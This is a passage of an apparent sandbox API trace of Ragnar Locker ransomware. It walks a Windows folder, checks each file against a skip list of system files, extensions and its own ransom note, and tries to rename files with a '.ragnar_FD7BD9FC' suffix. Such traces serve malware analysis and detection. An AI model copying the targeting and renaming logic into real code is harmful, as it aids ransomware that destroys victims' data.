Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0078.719] lstrcpyW (in: lpString1=0x1eab58, lpString2="BabyBoyMainToNotesBackground_PAL.wmv" | out: lpString1="BabyBoyMainToNotesBackground_PAL.wmv") returned="BabyBoyMainToNotesBackground_PAL.wmv" [0078.719] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned=".wmv" [0078.719] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.719] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="autorun.inf") returned 1 [0078.719] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="boot.ini") returned -1 [0078.719] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="bootfont.bin") returned -1 [0078.719] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="bootsect.bak") returned -1 [0078.719] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="bootmgr") returned -1 [0078.719] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="bootmgr.efi") returned -1 [0078.719] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="bootmgfw.efi") returned -1 [0078.719] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="desktop.ini") returned -1 [0078.719] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="iconcache.db") returned -1 [0078.719] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="ntldr") returned -1 [0078.719] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="ntuser.dat") returned -1 [0078.719] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="ntuser.dat.log") returned -1 [0078.719] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="ntuser.ini") returned -1 [0078.719] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="thumbs.db") returned -1 [0078.719] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0078.719] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0078.719] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0078.719] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0078.719] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0078.719] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0078.719] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0078.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv")) returned 0x20 [0078.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.719] CloseHandle (hObject=0xffffffff) returned 0 [0078.719] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" [0078.720] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv.ragnar_FD7BD9FC" [0078.720] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.720] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0078.720] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0078.720] lstrcpyW (in: lpString1=0x1eab58, lpString2="BabyBoyMainToScenesBackground.wmv" | out: lpString1="BabyBoyMainToScenesBackground.wmv") returned="BabyBoyMainToScenesBackground.wmv" [0078.720] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned=".wmv" [0078.720] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.720] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="autorun.inf") returned 1 [0078.720] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="boot.ini") returned -1 [0078.720] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="bootfont.bin") returned -1 [0078.720] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="bootsect.bak") returned -1 [0078.720] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="bootmgr") returned -1 [0078.720] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="bootmgr.efi") returned -1 [0078.720] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="bootmgfw.efi") returned -1 [0078.720] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="desktop.ini") returned -1 [0078.720] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="iconcache.db") returned -1 [0078.720] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="ntldr") returned -1 [0078.720] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="ntuser.dat") returned -1 [0078.720] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="ntuser.dat.log") returned -1 [0078.720] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="ntuser.ini") returned -1 [0078.720] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="thumbs.db") returned -1 [0078.720] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0078.720] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0078.720] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0078.720] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0078.720] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0078.720] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0078.720] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0078.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv")) returned 0x20 [0078.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.721] CloseHandle (hObject=0xffffffff) returned 0 [0078.721] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" [0078.721] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv.ragnar_FD7BD9FC" [0078.721] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.721] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0078.721] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0078.721] lstrcpyW (in: lpString1=0x1eab58, lpString2="BabyBoyMainToScenesBackground_PAL.wmv" | out: lpString1="BabyBoyMainToScenesBackground_PAL.wmv") returned="BabyBoyMainToScenesBackground_PAL.wmv" [0078.722] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned=".wmv" [0078.722] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.722] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="autorun.inf") returned 1 [0078.722] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="boot.ini") returned -1 [0078.722] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="bootfont.bin") returned -1 [0078.722] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="bootsect.bak") returned -1 [0078.722] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="bootmgr") returned -1 [0078.722] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="bootmgr.efi") returned -1 [0078.722] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="bootmgfw.efi") returned -1 [0078.722] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="desktop.ini") returned -1 [0078.722] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="iconcache.db") returned -1 [0078.722] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="ntldr") returned -1 [0078.722] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="ntuser.dat") returned -1 [0078.722] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="ntuser.dat.log") returned -1 [0078.722] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="ntuser.ini") returned -1 [0078.722] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="thumbs.db") returned -1 [0078.722] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0078.722] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0078.722] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0078.722] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0078.722] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0078.722] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0078.722] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0078.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv")) returned 0x20 [0078.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.722] CloseHandle (hObject=0xffffffff) returned 0 [0078.722] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" [0078.722] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv.ragnar_FD7BD9FC" [0078.723] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.723] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0078.723] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0078.723] lstrcpyW (in: lpString1=0x1eab58, lpString2="BabyBoyNotesBackground.wmv" | out: lpString1="BabyBoyNotesBackground.wmv") returned="BabyBoyNotesBackground.wmv" [0078.723] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned=".wmv" [0078.723] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.723] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="autorun.inf") returned 1 [0078.723] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="boot.ini") returned -1 [0078.723] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="bootfont.bin") returned -1 [0078.723] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="bootsect.bak") returned -1 [0078.723] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="bootmgr") returned -1 [0078.723] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="bootmgr.efi") returned -1 [0078.723] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="bootmgfw.efi") returned -1 [0078.723] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="desktop.ini") returned -1 [0078.723] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="iconcache.db") returned -1 [0078.723] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="ntldr") returned -1 [0078.723] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="ntuser.dat") returned -1 [0078.723] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="ntuser.dat.log") returned -1 [0078.723] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="ntuser.ini") returned -1 [0078.723] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="thumbs.db") returned -1 [0078.723] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0078.723] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0078.723] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0078.723] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0078.723] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0078.723] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0078.723] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0078.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv")) returned 0x20 [0078.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.724] CloseHandle (hObject=0xffffffff) returned 0 [0078.724] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" [0078.724] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv.ragnar_FD7BD9FC" [0078.724] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.724] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0078.724] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0078.724] lstrcpyW (in: lpString1=0x1eab58, lpString2="BabyBoyNotesBackground_PAL.wmv" | out: lpString1="BabyBoyNotesBackground_PAL.wmv") returned="BabyBoyNotesBackground_PAL.wmv" [0078.724] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned=".wmv" [0078.724] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.724] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="autorun.inf") returned 1 [0078.724] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="boot.ini") returned -1 [0078.724] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="bootfont.bin") returned -1 [0078.724] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="bootsect.bak") returned -1 [0078.724] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="bootmgr") returned -1 [0078.724] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="bootmgr.efi") returned -1 [0078.724] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="bootmgfw.efi") returned -1 [0078.724] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="desktop.ini") returned -1 [0078.724] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="iconcache.db") returned -1 [0078.724] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="ntldr") returned -1 [0078.724] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="ntuser.dat") returned -1 [0078.724] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="ntuser.dat.log") returned -1 [0078.724] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="ntuser.ini") returned -1 [0078.724] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="thumbs.db") returned -1 [0078.724] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0078.724] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0078.724] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0078.724] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0078.724] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0078.724] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0078.724] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0078.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv")) returned 0x20 [0078.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.725] CloseHandle (hObject=0xffffffff) returned 0 [0078.725] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" [0078.725] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD 